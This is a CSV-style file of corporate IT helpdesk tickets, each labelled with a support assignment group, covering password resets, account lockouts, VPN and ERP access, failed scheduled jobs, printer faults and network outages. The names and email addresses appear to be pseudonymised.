ahrskvln +sent: tuesday, september 6, 2016 2:42 pm +to: ftnijxup sbltduco +subject: help with scm_software + +jochegtyhu, + +how are you? + +what does this mean? what can i do to complete my forecast? + + + +fnqelwpk ahrskvln +regional manager latin amerirtca +fnqelwpk.ahrskvln@gmail.com +",GRP_67 +"issues logging in to skype after recently changing my password name:obanjrhg rnafleys +language: +browser:microsoft internet explorer +email:obanjrhg.rnafleys@gmail.com +customer number: +telephone: +summary:issues logging in to skype after recently changing my password",GRP_0 +"erp access issue system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_9 - pi uacyltoe hxgaycze system + +enter user id of user having the issue: vvgtycargvc + +please restart password, its blocked. +",GRP_2 +"job Job_2063d failed in job_scheduler at: 09/06/2016 15:53:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2063d failed in job_scheduler at: 09/06/2016 15:53:00",GRP_6 +"vip 2 -when i try to access the ethics training link i receive an error message: error #2001, organization code not found. this happens if i log in via public internet as well as internet + vpn.",GRP_0 +"user having issues login in to the pc with the new password. user having issues login in to the pc with the new password._x000D_ +-connected to the user system using teamviewer._x000D_ +-help the user login using the new password._x000D_ +-help the user login to the company vpn and sync the new password to the company network._x000D_ +-help the user login to both the outlook and skype._x000D_ +-issue resolved.",GRP_0 +ticket update for ticket_no0437735 ticket update for ticket_no0437735,GRP_0 +unable to log in to erp SID_34 unable to log in to erp SID_34,GRP_0 +"global erp crm: please investigate why agbighyail espinosa's employee account in erp crm is not recognized as an employee hello, + +it please advise the status on the below request. + +hi nafghyncy, + +agbighyail espinosa appears to be an active employee. after all, she entered a bunch of sales orders in erp ecc over the last few days. yet there is a central block on her employee account in erp crm so that it does not show up in the search results when we search for employee accounts using ""role is employee"". unless you already know the reason for this, would you please check with hr why her account has a central block on it? it seems like it could possibly be an error. + + +gracias / ",GRP_15 +engineering request 2248675 assignment (revise component) engineering request 2248675 assignment (revise component) has been completed but cannot be deleted from my workflow. ,GRP_11 +unable to log in to supply_chain_software unable to log in to supply_chain_software,GRP_0 +"ethics undeliverable e-mails good morning,_x000D_ +_x000D_ +please review and advise on these ""undeliverable"" e-mail addresses. _x000D_ +_x000D_ +",GRP_0 +need to activate new iphone need to activate new iphone,GRP_0 +report not running properly and delivering results to dataloads-app bex report is producing a report with 0 size instead of proper reporting. xsdb_o20_db_credits is supposed to run on the 2nd of each month along with 3 other dashbankrd reports but for the last couple of months the report has been empty. this has happened previously but only with the credits and not any of the 3 other reports. please correct so it is available for next month. this is for a global dashbankrd that is used in some areas for compensation. ,GRP_9 +unable to access travel site unable to access travel site ,GRP_0 +password reset via password_management_tool password manager password reset via password_management_tool password manager,GRP_0 +unable to post document to SID_34 unable to post document to SID_34 using spreadsheet. ,GRP_10 +"erp access issue system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_2_x000D_ +_x000D_ +enter user id of user having the issue: vvgtycargvc_x000D_ +_x000D_ +_x000D_ +""user account not in validity date""",GRP_2 +"password re-set _x000D_ +_x000D_ +received from: zenjimdghtybo.xirzfpob@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +please re-set mu login password for attendance_tool._x000D_ +_x000D_ +_x000D_ +[cid:image001.jpg@01d2088d.049859f0]_x000D_ +_x000D_ +_x000D_ +_x000D_ +with best ",GRP_0 +"delivery failures material # 7359351_x000D_ +location: plant_33_x000D_ +sto # 5019195083_x000D_ +product available. cannot create delivery.",GRP_6 +my password is invalid. can you help me. thanks. my password is invalid. can you help me. ,GRP_0 +"computer not booting into windows touchpad and usb mouse not working _x000D_ +_x000D_ +computer not booting into windows",GRP_3 +"user has a new personal device for activation without the approval form. user has a new personal device for activation without the approval form._x000D_ +-advised the user to forward the approval form to activate the company email on personal device.",GRP_0 +ticket update for inc1548457 ticket update for inc1548457 ,GRP_0 +ticket update for ticket_no0437326 ticket update for ticket_no0437326,GRP_0 +windows zdsxmcwu thdjzolw windows zdsxmcwu thdjzolw,GRP_0 +unable to login to distributor_tool with new password and view saved customers details unable to login to distributor_tool with new password and view saved customers details ,GRP_0 +account unlock account unlock,GRP_0 +reset passwords for yolktfas fyoxqgvh using password_management_tool password reset. the,GRP_17 +"expense reports submissions in my workflow + +received from: sbvlxuwm.yanbikrx@gmail.com + +according to oneteam, jashyht mkuhtyhui (6566632) and qjeymnzs wgpelvyn (6456967) are part of my team now. however, their exepsne report submissions are not coming to my workflow for approval. please look into this and advise. + +",GRP_0 +terminated user called for access to the hub terminated user called for access to the hub,GRP_0 +vip2: sim card locked for the company provided phone vip2: sim card locked for the company provided phone,GRP_28 +"dob report showing blank data for yzugpdco nsyapewg this report was working up until september 3rd. now it shows no data when laurent opens the report within reporting_tool (browser)._x000D_ +_x000D_ +report link used is as follows:_x000D_ +#/site/certified_content/views/dailyorderbillingreport/mtd-ctry?:iid=3 _x000D_ +_x000D_ +output is per attached._x000D_ +_x000D_ +",GRP_9 +"the dynamics crm url checks is reporting a : down status on, company-crm-sp-mfg_tooltion.azurewebsites.net. please investigat observing below alert in monitoring_tool since 10:50 am on 09/06 et:_x000D_ +_x000D_ +application ""dynamics crm url checks"" on node ""company-crm-sp-mfg_tooltion.azurewebsites.net"" is down ",GRP_60 +need adobe flash player installed on the pc need adobe flash player installed on the pc,GRP_0 +"drucker ag71 in fürth + +received from: osjqfbvw.hlmgrfpx@gmail.com + +hallo, + +unser netzwerkdrucker ag71 hört nicht mehr auf zu drucken. +ein „gast"" scheint versehentlich immer neue druckaufträge zu generieren bzw. laut service techniker vom hersteller hp ist wohl ein spool auftrag im netz gespeichert – wir können die druckaufträge nicht sehen, nachverfolgen oder stoppen. + +alle versuche, die druckaufträge abzubrechen, sind fehlgeschlagen, auch ein ziehen des steckers oder des lan-kabels nützt nichts. + +wer kann helfen? +laut hp sollte das der administrator können. + +danke. + +gabryltke schütt +human resources +osjqfbvw.hlmgrfpx@gmail.com + + +company shared services gmbh +geschäftsführer: phvkowml azbtkqwx, naruedlk mpvhakdq + + +diese mitteilung ist einzig und allein für die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwürdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfältigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfänger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und löschen sie diese mitteilung. +[#+company/posts> [ +select the following link to view the disclaimer in an alternate language. ",GRP_28 +unable to login to pc after changing the password unable to login to pc after changing the password ,GRP_0 +"delivery due list created no delivery note for sto e.g. aw mm#4586645 sto#5019195160- plant_3, please forward to srinfhyath deliver due list ews1 is multiple times running on daily basis. sometimes ddl does not create delivery notes from sto, even though material is available and shipping date overdue. _x000D_ +1. check why ddl did not select sto 5019195160_x000D_ +2. check what sto are overdue _x000D_ +3. adjust ddl _x000D_ +4. keep user informed about your result. _x000D_ +many ",GRP_18 +"circuit outage: vogelfontein, south africa , sa mpls circuit is down at 10:51 am et on 06/09. site is up on vpn circuit. what type of outage: _____network __x___circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? _____no____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? _______10:51 am et on 06/09_______________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? _____no__ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ____yes__ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? ______yes__ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? _____na______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ___na________ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? _____yes__ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +unable to connect to vpn unable to connect to vpn,GRP_0 +mobile device activation - personally owned samsung s7 tom called in to get the device activated. please find the mobility agreement attached.,GRP_0 +windows password reset windows password reset,GRP_0 +"7350 - 2nd battery not charging the battery on the display is charging up to 100% and it works._x000D_ +the battery with the keybankrd is at 76% - plugged in, not charging._x000D_ +he is not sure if he is using the charger for the docking station or the charger supplied with the 2 in 1 device._x000D_ +we have swapped the power point, still no go._x000D_ +_x000D_ +updated bios from a08 to a10, still no go._x000D_ +_x000D_ +please advise..._x000D_ +",GRP_3 +reset the password for tsicojkp kghaozew on windows login this is not resolved per the incident i placed earlier. i need my passwords reset. please start with windows then i will attempt to update all with password_management_tool.,GRP_0 +"job Job_1953b failed in job_scheduler at: 09/06/2016 10:37:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1953b failed in job_scheduler at: 09/06/2016 10:37:00",GRP_6 +"please reset my password for supply_chain_software. please reset my password for supply_chain_software._x000D_ +",GRP_0 +ethics login not recognized ethics login is not being recognized. ,GRP_0 +unable to load outlook unable to load outlook ,GRP_0 +unable to print from the default printer unable to print from the default printer,GRP_0 +reset passwords for tsicojkp kghaozew using password_management_tool password reset. i am locked out of password_management_tool id password manager to sync my passwords and my o365 password is not working. please reset my password.,GRP_17 +"employment status - three new non-employee [enter user's name] *page down to ensure that all required data fields are complete before submitting* + +use this template for consultants, temps, interns, vendors, etc. please complete all entries. +first name rita +last name baugtymli +location germany +manager / sponsor lkwspqce knxaipyj +cost center ? +external company name deloitte & touche +what systems do they need access on erp SID_34 +mii? no + if yes – is user operator, admin or supervisor? +security note: for mii – add im:shopfloor_user_* to user's SID_34 account +is company email required for this person ? no + if yes, by default a k1 license will be assigned for use of owa and collaboration_platform only, not outlook client, or skype. + if outlook client or skype, are required, a more costly e1 license must be assigned, and can be used only on a company computer. + assign a k1 or e1 license? +access like who (required – this is to review copy-from person's access for approvals) create SID_34 with it:auditor_v +requires access until (date) 09/30/2016 +is the computer owned by company no + if yes, is it a laptop or desktop ? computer name: +is remote access/vpn required lcitrixerpall +if yes, please provide to which all applications, erp systems, network servers the user needs access via vpn. +start date 09/01/2016 + +first name maximgbilian +last name wilsfrtch +location germany +manager / sponsor lkwspqce knxaipyj +cost center ? +external company name deloitte & touche +what systems do they need access on erp SID_34 +mii? no + if yes – is user operator, admin or supervisor? +security note: for mii – add im:shopfloor_user_* to user's SID_34 account +is company email required for this person ? no + if yes, by default a k1 license will be assigned for use of owa and collaboration_platform only, not outlook client, or skype. + if outlook client or skype, are required, a more costly e1 license must be assigned, and can be used only on a company computer. + assign a k1 or e1 license? +access like who (required – this is to review copy-from person's access for approvals) create SID_34 with it:auditor_v +requires access until (date) 09/30/2016 +is the computer owned by company no + if yes, is it a laptop or desktop ? computer name: +is remote access/vpn required lcitrixerpall +if yes, please provide to which all applications, erp systems, network servers the user needs access via vpn. +start date 09/01/2016 + + +first name carolutyuin +last name votgygel +location germany +manager / sponsor lkwspqce knxaipyj +cost center ? +external company name deloitte & touche +what systems do they need access on erp SID_34 +mii? no + if yes – is user operator, admin or supervisor? +security note: for mii – add im:shopfloor_user_* to user's SID_34 account +is company email required for this person ? no + if yes, by default a k1 license will be assigned for use of owa and collaboration_platform only, not outlook client, or skype. + if outlook client or skype, are required, a more costly e1 license must be assigned, and can be used only on a company computer. + assign a k1 or e1 license? +access like who (required – this is to review copy-from person's access for approvals) create SID_34 with it:auditor_v +requires access until (date) 09/30/2016 +is the computer owned by company no + if yes, is it a laptop or desktop ? computer name: +is remote access/vpn required lcitrixerpall +if yes, please provide to which all applications, erp systems, network servers the user needs access via vpn. +start date 09/01/2016",GRP_2 +"need account adding to my crm + +received from: zfburidj.jmilguev@gmail.com + +hi there, + +can you please add the following account to my crm. it is one of my assigned accounts but i cannot see it. + +account name - pow578ercor +erp # - 8185636495 + +",GRP_40 +install zebra \we_wu101 \pfjwinbg ljtzbdqg install zebra \we_wu101 \pfjwinbg ljtzbdqg,GRP_24 +"organisation chart data in outlook dear it team , _x000D_ +_x000D_ +pl look into below screen shot omfvxjpw htiemzsg is appearing in outlook in my org chart , pl remove the same . _x000D_ +_x000D_ +",GRP_2 +"travelers _x000D_ +_x000D_ +received from: qcfmxgid.jvxanwre@gmail.com_x000D_ +_x000D_ +good morning,_x000D_ +_x000D_ +i have two more travel profiles. please see attached/._x000D_ +_x000D_ +best ",GRP_0 +"master cost center missing for a person number 11177056737 master cost center missing for a person number 11567177037 - +cost center should be ltu017",GRP_52 +"mismatch between plant_63 & erp inventrory _x000D_ +_x000D_ +received from: ikerxqwz.prkyuitl@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +every month we see difference in quantity in inventory between plant_63 stocks & erp stocks ._x000D_ +_x000D_ +our assumption was that in erp we inward stock without paper (customer return with- out paper but good for resale ) , but it is not so._x000D_ +_x000D_ +in this connection attaching the extraction of plant_63 register as on 31.8.16 , erp inventory (plant_63) and workings which show difference between_x000D_ + erp & plant_63 register_x000D_ +_x000D_ +i have highlighted few material code in red color which is the difference between erp & plant_63 and throws light that inward is made with paper also downloaded screen shot of 2 material code for your reference_x000D_ +_x000D_ +request you to investigate and revert with reasons for such difference ._x000D_ +_x000D_ +this is time bound activity and we expect this to be closed by sept 25 , 2016 as the same needs to informed to the auditor for sept 30,2016 ._x000D_ +_x000D_ +_x000D_ +",GRP_18 +" infopath issue - some rules were not applied infopath issue - some rules were not applied +",GRP_0 +blank call blank call,GRP_0 +"circuit outage: circuit outage: company vpn circuit is down at 8:25 am et on 09/06. site is up on primary circuit what type of outage: _____network ___x__circuit _____power (please specify what type of outage)_x000D_ +_x000D_ +1. top 23 cert site ? ____slo site_____ (yes/no/na) _x000D_ +_x000D_ +2. when did it start ? ______8:25 am et on 09/06________________x000D_ +_x000D_ +3. scheduled maintenance ( power) ? __no_____ (yes/no/na) company power _________ provider power __________x000D_ + _x000D_ +4. scheduled maintenance ( network) ? ___no____ (yes/no/na) company maint________ (yes/no) provider maint/ticket #__________________ _x000D_ +_x000D_ +5. does site have a backup circuit ? ___yes___ (yes/no/na) _x000D_ +_x000D_ +6. backup circuit active ? __yes______ (yes/no/na) _x000D_ +_x000D_ +7. site contact notified (phone/email) ? _________ (yes/no/na) _x000D_ +_x000D_ +8. remote dial-in ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +9. equipment reset ? ____na_______ (yes/no/na) _x000D_ +_x000D_ +10. verified site working on backup circuit ? __yes_____ (yes/no/na) _x000D_ +_x000D_ +11. vendor ticket # ( global_telecom_1, verizon, telecom_vendor_1, telecom_vendor_2 ) _________________________ _x000D_ +_x000D_ +12. notified gsc ________ (yes/no/na) cert started ?________ (yes/no/na) _x000D_ +_x000D_ +13. additional diagnostics",GRP_8 +unable to log in to erp SID_34 unable to log in to erp SID_34 ,GRP_0 +"request it loaner laptop; need on _09_ - _06_ - _2016_ ** loaners laptops are currently only available for usa employees in usa, pa (hq) and usa employees in usa, ar . we apologize for the inconvenience. **_x000D_ +_x000D_ +need laptop on _09_ - _06_ - _2016_ (3 days notice is required for a loaner to be ready; laptops can be reserved no more than 2 weeks in advance)._x000D_ +_x000D_ +will return laptop on 09_ - _07_ - _2016(laptops can be borrowed for a maximum of 3 weeks)._x000D_ +_x000D_ +does user need remote access (vpn) ? no_x000D_ +if yes, who is the requester's manager (approval needed) ?_x000D_ +_x000D_ +laptop comes with erp, vpn, etc._x000D_ +_x000D_ +additional software needed?: _x000D_ +_x000D_ + office 2000 (word, excel, powerpoint) y/n? _____x000D_ + outlook y/n? _____x000D_ +_x000D_ +the following will be updated by it:_x000D_ +_x000D_ +dell serial number = _x000D_ +company asset tag = _x000D_ +_x000D_ +note: if the laptop and all parts are not returned as scheduled, the requestor's department will be charged replacement cost's.",GRP_3 +"help with mobile phones _x000D_ +_x000D_ +received from: mfizgpoy.akbvznci@gmail.com_x000D_ +_x000D_ +good morning,_x000D_ +_x000D_ +i'm having issues with my company phone and i am not sure who to contact to help me correct the issue. can i please get the contact that can help me solve this problem?_x000D_ +_x000D_ +",GRP_0 +unable to print. requesting for printer drivers. unable to print. requesting for printer drivers.,GRP_0 +impact award password reset impact award password reset,GRP_0 +"hotwlygp afukzhnm - frequent account lockout account keeps locking out after the last password change,",GRP_0 +"business_client - a plug-in is not responding i need to view attachments in er2248695, but i get an error ""a plug-in is not responding"" and i cannot see the attachments. without seeing the attachments, i do not know what changes to make to the drawings and the parts are on hold in manufacturing._x000D_ +",GRP_0 +account unlock account unlock,GRP_0 +erp SID_34 account unlock erp SID_34 account unlock,GRP_0 +"fc on departments\distribution moin marfhtyio,_x000D_ +_x000D_ +kannst du bitte herr lzuwmhpr riuheqsg für das laufwerk departments (\\HostName_717), distribution, formulare zulassen. danke! _x000D_ +_x000D_ +_x000D_ +kind ",GRP_12 +probleme mit we95\ drucker druckt nicht \dknejifu dljvtebc probleme mit we95\ drucker druckt nicht \dknejifu dljvtebc,GRP_24 +account locked. account locked.,GRP_0 +blank call blank call,GRP_0 +erp SID_34 account unlock erp SID_34 account unlock,GRP_0 +reset passwords for ugawcoye jcfqgviy using password_management_tool password reset. the,GRP_17 +tastatutur defekt \eewhse \vzqomdgt jwoqbuml tastatutur defekt \eewhse \vzqomdgt jwoqbuml,GRP_24 +install EU_tool und zebra \ewew8323506 \zlqfptjx xnklbfua install EU_tool und zebra \ewew8323506 \zlqfptjx xnklbfua,GRP_24 +"dock station - required + +received from: jmoqelbc.fbzsyjne@gmail.com + +hello team, + +can you please arrange a dock station for my laptop model – latitude e5450, please let me know if you required further details. + +br,aghynil + + + + +",GRP_19 +"erp access issue bex hana system (SID_34, SID_37, SID_39, SID_38, hrp, other ?): SID_37_x000D_ +_x000D_ +enter user id of user having the issue: dofghbmes_x000D_ +_x000D_ +transaction code(s) the user needs or was working with: bex_x000D_ +_x000D_ +describe the issue: _x000D_ +_x000D_ +password logon no longer possible - too many failed attempts_x000D_ +_x000D_ +provide access the same as this other user:",GRP_2 +"issues with the computer - error messages / not enough space issues with the computer. the user can't work. there are regular error messages regarding not enough space on the computer. +the files on the hard drive have been cleaned up, but the problem did not dierppear. +user: effeghnk +computer name: efdw8111210 +please see the attached screenshots with error messages. +the user tried contacting the it help via it chat support, but it did not work on this computer probably due to recent issues. +for further questions, please contact mizpywld dnrubpis at the tel. or via sky business. + +",GRP_0 +reset passwords for imuwhokc ijdfnayb using password_management_tool password reset. i reset my password tonight and already forgot it. i can't log on to anything. ,GRP_17 +"bobj - erp business objects + +received from: ctzykflo.evzbhgru@gmail.com + +dear all, + +can someone please check . + +we do have some new sales employees but the name doesn't show in the ""sales plan vs actual"" bobj report. + +we have f.ex. # + + +· 1044565291 = mjvfxnka zvjxuahe and + +· 1044535680 = wohzmlib fxwjhapo. + +can someone please check and let us know when we will also see the names of the sales people. + +is there no automatic routine ? + +[cid:image001.jpg@01d2082c.9c01e9c0] + + +[cid:image002.jpg@01d2082c.9c01e9c0] + +",GRP_9 +"laptop login issue _kxmidsga zokivdfa _x000D_ +_x000D_ +received from: kxmidsga.zokivdfa@gmail.com_x000D_ +_x000D_ +dear sir,_x000D_ +i am facing issue with login into laptop while starting_x000D_ +_x000D_ +the below window is coming (screen shot attached). due to this i am not able to login when i am using laptop as an pad. keybankrd is not showing. so every time i have to connect it with keybankrd to enter user id & password._x000D_ +laptop model: dell latitude 7350_x000D_ +_x000D_ +[cid:image001.jpg@01d20849.f8d3a360]_x000D_ +_x000D_ +request you to kindly solve the problem._x000D_ +_x000D_ +best ",GRP_0 +probleme mit outlook \axesnghb cyzuomxa probleme mit outlook \axesnghb cyzuomxa,GRP_24 +"visual studio 2015 license issue _x000D_ +_x000D_ +received from: rmezbnqt.ntbmkpuh@gmail.com_x000D_ +_x000D_ +hi,_x000D_ + visual studio professional 2015 in my machine has a license issue, warning message indicates license trial has been expired._x000D_ +_x000D_ + but the coverage period for the existing vs2015 license is till 30nov2018._x000D_ +_x000D_ + please refer to the attached image for the error description and license validity details._x000D_ +_x000D_ +",GRP_19 +"unable to send/receive emails from external parties - eonhuwlg sxthcobm, wydorpzi taxcizwv, praddgtip kumfgtyar + +received from: izwtdnfq.xptuoaid@gmail.com + +hi it team, + +eonhuwlg sxthcobm cannot receive and send any emails to the external parties via his company email address. however, his colleague, wydorpzi taxcizwv wydorpzi.taxcizwv@gmail.com can send and receive emails with no any issues. + +kindly investigate the issue for debaghjsish and you can take sagar user to compare for the difference. + +fyi, both of them are our fi outsource from partner and also got company email address in the same for fi operation support to us. + +appreciate if you could prioritise to fix for us. ",GRP_26 +"lese- / schreibberechtigung für m:\kbt-auftrgasbearb hallo marfhtyio,_x000D_ +_x000D_ +bitte richte mir die lese- / schreibberechtigung für m:\kbt-auftrgasbearb ein._x000D_ +_x000D_ +danke anfghyudrejy_x000D_ +_x000D_ +_x000D_ + _x000D_ +_x000D_ +freundliche grüße / kind ",GRP_12 +"job Job_2645 failed in job_scheduler at: 09/06/2016 03:30:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2645 failed in job_scheduler at: 09/06/2016 03:30:00",GRP_6 +please review EU_tool server in germany - HostName_755 - EU_tool is not working - very urgent please review EU_tool server in germany - HostName_755 - EU_tool is not working - very urgent,GRP_25 +windows account locked windows account locked ,GRP_0 +reset passwords for pyeothbl agfxelwz using password_management_tool password reset. reset passwords for pyeothbl agfxelwz using password_management_tool password reset.,GRP_0 +HostName_53:volume: f:\ label:dat2-HostName_53 d4e35b72 on server is over 95% space consumed. space available: 996.0 kb HostName_53: f drive is 100% full.,GRP_12 +"reset passwords for pyeothbl agfxelwz using password_management_tool password reset. please reset password aerp _x000D_ +",GRP_0 +account password is expired account is expired ,GRP_31 +"job que processor for engg database stopped, please restart to the database team:_x000D_ +the job processor for the engg production system has stopped, please restart._x000D_ +",GRP_58 +"reset microsoft online services password from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com] +sent: tuesday, september 06, 2016 11:38 am +to: nwfodmhc exurcwkm +cc: tiyhum kuyiomar +subject: rad:request to reset microsoft online services password for rmezbnqt.ntbmkpuh@gmail.com +importance: high + + request to reset user's password + the following user in your organization has requested a password reset be performed for their account: + +• rmezbnqt.ntbmkpuh@gmail.com +• first name: nihktgsh kurtyar +• last name: kaghjtra + +consider contacting this user to validate this request is authentic before continuing. + +if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user. + +want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks. + +sincerely, +company inc. + + + this message was sent from an unmonitored email address. please do not reply to this message. + + + + + +",GRP_0 +"not able to access SID_1 + +received from: miecoszw.mhvbnodw@gmail.com + +hi, + +not able to access SID_1 system +user id- heghjyder + + +gajthyana hegdergyt +manager- finance +miecoszw.mhvbnodw@gmail.com + +",GRP_0 +reset the password for guldiwmn aroqwuvz on erp / production / erp i cannot log or change my erp password. ploease help.,GRP_0 +"job Job_1346 failed in job_scheduler at: 09/06/2016 02:03:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1346 failed in job_scheduler at: 09/06/2016 02:03:00",GRP_9 +"vpn connection failure _x000D_ +_x000D_ +received from: xwertljy.zrmlhkyq@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +i am not able to connect to vpn._x000D_ +_x000D_ +",GRP_0 +"""\\HostName_625\departments\ehs_arbeitsmedizin"": bitte den verantwortlichen ändern von metghyjznk auf roedfghtec bitte den verantwortlichen des ordners ""\\HostName_625\departments\ehs_arbeitsmedizin"" ändern von ozphysqw pgcmwqze (metghyjznk) auf clara röder (roedfghtec) ... danke! + +please change the owner of this folder to vhebydgs rtmjwyvk (roedfghtec)",GRP_34 +not able to login to system wh my user id and details on new hardware replaced computer name : aiml7801004,GRP_19 +"job Job_1343 failed in job_scheduler at: 09/06/2016 01:13:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_1343 failed in job_scheduler at: 09/06/2016 01:13:00",GRP_9 +"删除了一个excel 文档，文档地址：\\HostName_17\teams\business\c2 qualitycontrol\c25 quality project\c251 k100\weekly layered process audi 删除了一个excel 文档，""kmfg0042f01r00---lpa countermeasures （fy17 total),文档地址：\\HostName_17\teams\business\c2 qualitycontrol\c25 quality project\c251 k100\weekly layered process audit\fy17",GRP_0 +"virus scanned _x000D_ +_x000D_ +received from: pxbqkfgm.qexvrmcn@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +pls. do the needful._x000D_ +_x000D_ +[cid:image003.jpg@01d20828.8bd3bff0]_x000D_ +_x000D_ +vivthyek byuihand_x000D_ +asst manager- sales_x000D_ +company india ltd, india._x000D_ +_x000D_ +_x000D_ +_x000D_ +_x000D_ +",GRP_50 +unable to connect to company wi-fi unable to connect to company wi-fi ,GRP_0 +"attendance_tool id and password. _x000D_ +_x000D_ +received from: ojgfmvep.zbatowgi@gmail.com_x000D_ +_x000D_ +hello,_x000D_ +_x000D_ +need help as i forgot my attendance_tool login id and password._x000D_ +_x000D_ +with best ",GRP_0 +account locked out and password reset account locked out and password reset ,GRP_0 +"not able to add id01 as printer in my laptop not able to add id01 as printer in my laptop. after installing driver, system throws up an error - can't add printer.",GRP_19 +"job Job_2110 failed in job_scheduler at: 09/06/2016 00:05:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2110 failed in job_scheduler at: 09/06/2016 00:05:00",GRP_9 +"ctrl, alt and delete keys are not working ctrl ,alt and delete keys are not working +unable to login to pc +dell latitude 6420 +contact no + + +assisted user click on easy to access option +and enable type without key bankrd option +with help of cursor click on control ,alt and delete (no go) +delete button is not working + +",GRP_19 +"serious issue with transports in SID_37 we observed that request SID_35k910228 was imported with warnings on 24th june has been re-imported twice on 16th july and 3rd sep. can you please check and share the details of why this is happening?_x000D_ +_x000D_ +this is a serious issue as this request is trying to over-write the changes that were done post this transport._x000D_ +",GRP_14 +"reset microsoft online services password for jhyazros.azdxonjg@gmail.com from: microsoft on behalf of company inc. [mailto:msonlineservicesteam@microsoftonline.com] +sent: tuesday, september 06, 2016 8:54 am +to: nwfodmhc exurcwkm +cc: tiyhum kuyiomar +subject: rad:request to reset microsoft online services password for jhyazros.azdxonjg@gmail.com +importance: high + + request to reset user's password + the following user in your organization has requested a password reset be performed for their account: + +• jhyazros.azdxonjg@gmail.com +• first name: venfgugjhytpal +• last name: nythug + +consider contacting this user to validate this request is authentic before continuing. + +if you have determined that this is a valid request, use your service's admin portal (office 365, windows intune, windows azure, etc.) to reset the password for this user. + +want to let you users reset their own passwords? check out how you can enable password reset for users in your organization with just a few clicks. + +sincerely, +company inc. + + + this message was sent from an unmonitored email address. please do not reply to this message. + + + + + +",GRP_0 +"erp SID_34 kis error + +received from: pkdavqwt.tafrmxsh@gmail.com + +hello it team, +dn 9168066866 was processed in erp kis, but its kis record was missed. its sf tracking number is 60666560449820. +could you find the cause and fix it? +",GRP_18 +"folder access request. _x000D_ +_x000D_ +received from: sepbdtou.noredzyx@gmail.com_x000D_ +_x000D_ +hi,_x000D_ +_x000D_ +please help to provide access to HostName_64\departments as follows:_x000D_ +p:\financemssg-apac\partner\ctc_x000D_ +person to access:_x000D_ +lxkecjgr fwknxupq : lxkecjgr.fwknxupq@gmail.com_x000D_ +fjzywdpg vkdobexr : fjzywdpg.vkdobexr@gmail.com_x000D_ +tnorudbf lauftqmd: tnorudbf.lauftqmd@gmail.com_x000D_ +_x000D_ +p:\financemssg-apac\partner\rtr_x000D_ +person to access:_x000D_ +qcjevayr xirwgjks: qcjevayr.xirwgjks@gmail.com_x000D_ +nil madhaw rai: hkjfmcqo.gpcxltar@gmail.com_x000D_ +uyocgasl ogabwxzv: uyocgasl.ogabwxzv@gmail.com_x000D_ +nfdtriwx lriupqct: nfdtriwx.lriupqct@gmail.com_x000D_ +_x000D_ +level of access: full control_x000D_ +_x000D_ +",GRP_12 +unable to login windows unable to login windows,GRP_19 +system is not booting up system is not booting up,GRP_19 +windows account locked windows account locked ,GRP_0 +"unable to receive mail from bank of amerirtca (cash pro online) i have raised a request for access in the bank portal but i cannot receive mail from them._x000D_ +kindly assist.",GRP_26 +windows account locked windows account locked ,GRP_0 +account locked out and password reset account locked out and password reset ,GRP_0 +"job Job_2555 failed in job_scheduler at: 09/05/2016 22:00:00 received from: monitoring_tool@company.com_x000D_ +_x000D_ +job Job_2555 failed in job_scheduler at: 09/05/2016 22:00:00",GRP_10 +"can not serch my engineering_tool hello_x000D_ +i can not serch for my engineering_tool if i specify the date._x000D_ +the error on the bottom of the window shows that i do not have the access to it._x000D_ +please give me the access._x000D_ +",GRP_0 +"gtehdnyu belt tracker + +received from: sdbcpvtx.hzpctsla@gmail.com + + + +above is the link to the gtehdnyu belt tracker. the person who generated this site (nicrhty pfgyhtu) and wrote the original programdnty had it set up so that the full time oe personnel did not ever receive recertification notices and warnings. all of a sudden this week we are all receiving those emails. i am attaching one of the emails. + +the list of oe personnel who should not receive these emails for any gtehdnyu belts: + +clswzxoq higqaepr +pattghyuy karcgdwswski +dkinobsv wymgzcrh +ykolismx kbysnuim +yhroaeqj djtyroha +phksfqxe wkbovsmu +dshferby houtnzdi +mikhghytr gerusky +jafgty verghjuen + +i am double checking to see if my list is complete. + + +these people are full time oe and permanently certified. + +please let me know what else you need. + +",GRP_16 +user needs help login to the company vpn. user needs help login to the company vpn.,GRP_0 +"telephony_software password has expired my telephony_software password is getting expired today. please reset the password and let me know so that i can login. + +user id - mukghyuhea +contact no - ",GRP_7 